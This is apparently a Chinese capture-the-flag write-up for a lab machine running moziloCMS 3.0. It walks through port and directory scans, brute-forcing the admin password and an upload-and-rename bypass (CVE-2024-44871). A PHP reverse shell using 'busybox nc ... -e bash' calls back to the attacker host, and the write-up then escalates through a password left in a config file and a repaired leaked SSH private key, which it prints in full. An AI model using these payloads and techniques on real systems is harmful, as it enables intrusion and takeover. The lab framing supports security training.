

Lzh

配置：

靶机用VirtualBox制作，VMware导入可能网卡不兼容

用户:todd 密码:qq660930334

1. 启动虚拟机时按`e`键进入GRUB编辑模式
2. 修改启动参数：将`ro`改为`rw single init=/bin/bash`
3. 按Ctrl+X启动进入单用户模式

```
vim /etc/network/interfaces
```

```
allow-hotplug ens33
```

```
iface ens33 inet dhcp
```

```
ip link set ens33 up
```

```
dhclient ens33
```

```
reboot -f
```

端口扫描

```
(root@kali)-[/home/kali]
# nmap -p- -min-rate 10000 -n -Pn -sCV 192.168.44.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-14 02:37 EST
Nmap scan report for 192.168.44.149
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
|_ ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_ http-title: VisionX | \xE6\x9C\xAA\xE6\x9D\xA5\xE7\xA7\x91\xE6\x8A\x80\xE8\xA7\xA3\xE5\x86\xB3\xE6\x96\xB9\xE6\xA1\x88
|_ http-server-header: Apache/2.4.62 (Debian)
MAC Address: 00:0C:29:5A:E5:77 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds
```

依旧是22,80端口

目录扫描

```
dirmap v0.4.3
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460
Output File: /home/kali/reports/http_192.168.44.149/_25-12-14_02-38-01.txt
Target: http://192.168.44.149/

[02:38:01] Starting:
[02:38:03] 403 - 279B - /.ht_wsr.txt
[02:38:03] 403 - 279B - /.htaccess.bak1
[02:38:03] 403 - 279B - /.htaccess.orig
[02:38:03] 403 - 279B - /.htaccess.save
[02:38:03] 403 - 279B - /.htaccess.sample
[02:38:03] 403 - 279B - /.htaccess_orig
[02:38:03] 403 - 279B - /.htaccess_sc
[02:38:03] 403 - 279B - /.htaccess_extra
[02:38:03] 403 - 279B - /.htaccessOLD
[02:38:03] 403 - 279B - /.htaccessOLD2
[02:38:03] 403 - 279B - /.htaccessBAK
[02:38:03] 403 - 279B - /.htm
[02:38:03] 403 - 279B - /.html
[02:38:03] 403 - 279B - /.htpasswd_test
[02:38:03] 403 - 279B - /.httr-oauth
[02:38:03] 403 - 279B - /.htpasswd
[02:38:04] 403 - 279B - /.php
[02:38:13] 200 - 3MB - /backup.zip
[02:38:34] 403 - 279B - /server-status
[02:38:34] 403 - 279B - /server-status/
```

给了个cms的源码,应该是有部署了这一套的cms, 尝试访问/mozilo/

名称	修改日期	类型	大小
admin	2024/7/9 19:31	文件夹	
cms	2024/7/9 19:31	文件夹	
docu	2024/7/9 19:31	文件夹	
galerien	2024/7/9 19:31	文件夹	
kategorien	2024/7/9 19:31	文件夹	
layouts	2024/7/9 19:31	文件夹	
plugins	2024/7/9 19:31	文件夹	
gpl.txt	2024/7/9 19:31	文本文档	18 KB
index.php	2024/7/9 19:31	JetBrains PhpSto...	20 KB
install.php	2024/7/9 19:31	JetBrains PhpSto...	42 KB
lgpl.txt	2024/7/9 19:31	文本文档	8 KB
liesmich.txt	2024/7/9 19:31	文本文档	1 KB
README.md	2024/7/9 19:31	Markdown File	3 KB

如果是cms，那应该就是打的nday了【之前打的awd倒是很多这种】
版本也给了，直接搜发现有个rce的洞

MoziloCMS 3.0 - Remote Code Execution (RCE)

EDB-ID:

52096

CVE:

2024-44871

EDB Verified:

✗

Author:

OLAKOJO
OLAOLUWA
JOSHUA

Type:

WEBAPPS

Exploit:

📄 / {}

Platform:

PHP

Date:

2025-03-27

Vulnerable App:

⬅

➡

```
# Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE)
# Date: 10/09/2024
# Exploit Author: Secfortress (https://github.com/sec-fortress)
# Vendor Homepage: https://mozilo.de/
# Software Link:
https://github.com/moziloDasEinsteinCMS/mozilo3.0/archive/refs/tags/3.0.1.zip
# Version: 3.0
# Tested on: Debian
# Reference: https://vulners.com/cve/CVE-2024-44871
# CVE : CVE-2024-44871
```

看了利用方式那就是后台直接upload文件上传，然后
在/kategorien/willkommen/dateien/反弹shell就好了
漏洞点是在后台的，对于常规cms的密码设置可能会出现在安装文件或者配置文件当中，可以尝试去翻阅一下

```
// pw-komplexität check
if(strlen($_POST['password1']) < 8)
{
    or !preg_match( pattern: "[0-9]/", $_POST['password1'])
    or !preg_match( pattern: "[a-z]/", $_POST['password1'])
    or !preg_match( pattern: "[A-Z]/", $_POST['password1'])
} {
    // pw nicht komplex genug
    $form_errmsg .= '<p>'.getLanguageValue( index: "pw_error_newpwerror").'</p>';
}
```

虽然没有直接找到默认的账号密码，但是找到了账号密码的设置条件【至少8位字符，有数字，有小写字母，有大写字母】，可以对于爆破的字典进行正则匹配一下，更精准一点
^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d]{8,}\$
admin/Admin123

4. Intruder attack of http://192.168.44.149

Results Positions

Capture filter: Capturing all items

View filter: Showing all items

Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
10	Admin123	200	6357			53884	All URL (3), Linkfinder (19), Username Field (1), Sensitive Field (2)
10	1v7Uj9n3nT	200	530			42480	All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
11	P3Rat54797	200	529			42480	All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
14	W5Xn36alfW	200	536			42480	All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
44	vRbQn5997						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
53	Passw0rd123						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
17	IG4abOK4						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
13	TnK0Mk16VX						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
12	q07Zxh18U						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
15	Passw0rd						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
47	JG3h4HFn						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
22	SZ9KQcCTwY						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
0							All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
5	Passw0rd1						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
50	Aa123456						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
67	dfg5Fhg5VGfh1						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
45	x4ryygA51F						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
49	w6G0Yby9ga						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
1	J38fRlbn						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
43	H2vWdu8JX4						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
43	Sodjlg123ajlg						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
6	Poinly7h2dec0211						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
38	SnaU75qapT						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
16	MagrCheM56458						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
55	d9Zufqd92N						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
41	YDduIJNH10305070						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
46	sBVLPv9jDpVYM						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
54	1FzrZhg7xL						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
3	lw14fRjg						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
56	Qwerty123						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
40	lw14fRjg						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
48	18atcskD2W						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
51	Parola12						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
31	Welcome1						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)
2	3rJs1la7qE						All URL (1), Linkfinder (14), Username Field (1), Sensitive Field (3)

Result 18 | Intruder attack

Payload: Admin123

Status code: 200

Length: 53884

Timer: 6357

Request Response

Pretty Raw Hex

1 POST /mozilo/admin/index.php HTTP/1.1

2 Host: 192.168.44.149

3 Content-Length: 44

4 Pragma: no-cache

5 Cache-Control: no-cache

6 Upgrade-Insecure-Requests: 1

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

8 Origin: http://192.168.44.149

9 Content-Type: application/x-www-form-urlencoded

10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.7

11 Referer: http://192.168.44.149/mozilo/admin/

12 Accept-Encoding: gzip, deflate, br

13 Accept-Language: zh-CN,zh;q=0.9

14 Cookie: M0ZIL0ID_08aa6e355b99f1bf7a93396c693ffc6c=5uatpijojhclhn929t87ov3v0u

15 Connection: keep-alive

0 highlights

nday获得webshell

进来找到上传文件的地方,正常的文件上传流程尝试一下

moziloCMS Admin

moziloCMS - Das CMS für Einsteiger

Hello, admin

Dateien Filter

Willkommen (2 Files)

mozilo.webp 10.24 KB

text.txt 0.50 KB

Powered by moziloCMS © 2006 - 2025 | Version: 3.0 ("Hope") stabil

```
<?php
exec("busybox nc 192.168.44.128 4444 -e bash");
?>
```

直接上传php文件显示Filetype not allowed,但是发现上传之后可以重命名文件,那么就先上传txt再修改成php就好了,然后来到反弹shell就好了

Willkommen (4 Files)





mozilo.webp 10.24 KB

text.txt 0.50 KB

Error: Filetype not allowed

shell.php 0.06 KB

Index of /mozilo/kategorien/Willkommen/dateien

Name	Last modified	Size	Description
 Parent Directory		-	
 mozilo.webp	2024-07-09 07:31	10K	
 shell.php	2025-12-14 03:26	58	
 text.txt	2024-07-09 07:31	501	

Apache/2.4.62 (Debian) Server at 192.168.44.149 Port 80

```
(root@kali)-[/home/kali]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.149] 37034
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

权限提升

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

拿到webshell之后想要获得用户权限--去home下发现用户welcome，对于cms来说数据库和配置文件可能会存有账号密码，那就翻翻翻加grep好了

```
cd /var/www/html/mozilo/
www-data@Lzh:/var/www/html/mozilo$ ls
ls
README.md      cms          gpl.txt      layouts      plugins      sitemap_addon.xml
SECURITY.md    docu         index.php    lgpl.txt     robots.txt   tmp
admin          galerien     kategorien   liesmich.txt sitemap.xml
www-data@Lzh:/var/www/html/mozilo$ cd admin
cd admin
www-data@Lzh:/var/www/html/mozilo/admin$ ls
ls
ace_editor      css          filesystem.php login.php
admin.php       default_conf.php gallery.php   pclzip.lib.php
admin_template.php editsite.css  gfx          plugins.php
catpage.php     editsite.php home.php     sessionClass.php
conf            favicon.ico  index.php    sprachen
config.php      files.php    jquery       template.php
www-data@Lzh:/var/www/html/mozilo/admin$ cat config.php
```

```

        $languagefile = new Properties(BASE_DIR_CMS. "sprachen/" . $title);
        $conf_inhalt .= $currentlanguagecode." (" . getLanguageValue("config_input_
translator")." ". $languagefile->get("_translator_0")."");
        $conf_inhalt .= "</option>";
    }
    $conf_inhalt .= "</select></div>";
    $template[$titel][] = array(getLanguageValue("config_text_cmslanguage"), $conf
_inhalt);
}

// Zeile "STANDARD-KATEGORIE"
// welcome:3e73d572ba005bb3c02107b2e2fc16f8
if(ROOT or in_array("defaultcat", $show)) {
    $tmp_array = getDirAsArray(CONTENT_DIR_REL, "dir", "natcasesort");
    if(count($tmp_array) <= 0) {
        $error[$titel][] = getLanguageValue("config_error_defaultcat_enty");
    } elseif(!in_array($CMS_CONF->get('defaultcat'), $tmp_array)) {
        $error[$titel][] = getLanguageValue("config_error_defaultcat_existed"). "<
br>". $specialchars->rebuildSpecialChars($CMS_CONF->get('defaultcat'), true, true);
    } else
        $error[$titel][] = false;
    $conf_inhalt = '<div class="mo-select-div flex"><select name="defaultcat" cla
ss="mo-select flex-100">';
    foreach($tmp_array as $selement) {
        if (count(getDirAsArray(CONTENT_DIR_REL. $selement, array(EXT_PAGE, EXT_HIDDE
N), "none")) == 0) {
            continue;
        }
        $selected = NULL;
        if ($selement == $CMS_CONF->get("defaultcat")) {

```

```

su welcome
3e73d572ba005bb3c02107b2e2fc16f8

```

权限再提升

```

welcome@Lzh:/var/www/html/mozilo/admin$ cd /home
cd /home
welcome@Lzh:/home$ ls
ls
welcome
welcome@Lzh:/home$ cd welcome
cd welcome
welcome@Lzh:~$ ls
ls
id_rsa  user.txt
welcome@Lzh:~$ cat user.txt
cat user.txt
flag{user-9bd9f512a064d385d8b5594fea0f2fc4}
welcome@Lzh:~$

```

发现本地有一个id_rsa私钥文件，直接连上去显示格式错误


```
welcome@Lzh:~$ ssh -i id_rsa root@localhost
ssh -i id_rsa root@localhost
The authenticity of host 'localhost (:::1)' can't be established.
ECDSA key fingerprint is SHA256:IV6iZTL6D//10jh0d8XoSMepPggyUfV/FpQmf3q35Hg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Load key "id_rsa": invalid format
root@localhost's password:
```

```
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
??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
```

cat一下文件发现前三位没有了导致格式错误，联想到图片之类的文件的文件头缺少会导致不可用，是不是id_rsa私钥文件也有相应的文件头

-----BEGIN OPENSSH PRIVATE KEY-----OpenSSH 格式 前三个字符是b3B版本标识符 "openssh-key-v1" 开头的编码结果

那就新建一个rsa文件【因为没有权限直接改id_rsa文件】把前三个字符改成rsa连接一下试试

```

welcome@Lzh:~$ cp id_rsa /tmp/id_rsa
welcome@Lzh:~$ vi /tmp/id_rsa
welcome@Lzh:~$ chmod +600
chmod: missing operand after '+600'
Try 'chmod --help' for more information.
welcome@Lzh:~$ chmod +600 /tmp/id_rsa
welcome@Lzh:~$ ssh root@localhost -i /tmp/id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@                WARNING: UNPROTECTED PRIVATE KEY FILE!                @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for '/tmp/id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/tmp/id_rsa": bad permissions
root@localhost's password:

welcome@Lzh:~$ chmod 600 /tmp/id_rsa
welcome@Lzh:~$ ssh root@localhost -i /tmp/id_rsa
Linux Lzh 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 12 23:17:27 2025 from 192.168.3.94
root@Lzh:~# ls
root.txt
root@Lzh:~# cat root.txt
flag{root-b32e83d3432bcfe475fd6b6f58f1f559}
root@Lzh:~# |

```

一开始直接给777权限会显示权限设置过于宽松，存在安全风险，因此SSH客户端拒绝使用，改成600就好了

总结

常规的cms打nday获得webshell再

配置文件存在默认账号密码获得用户权限再

正确修改ssh私钥格式连接获得root权限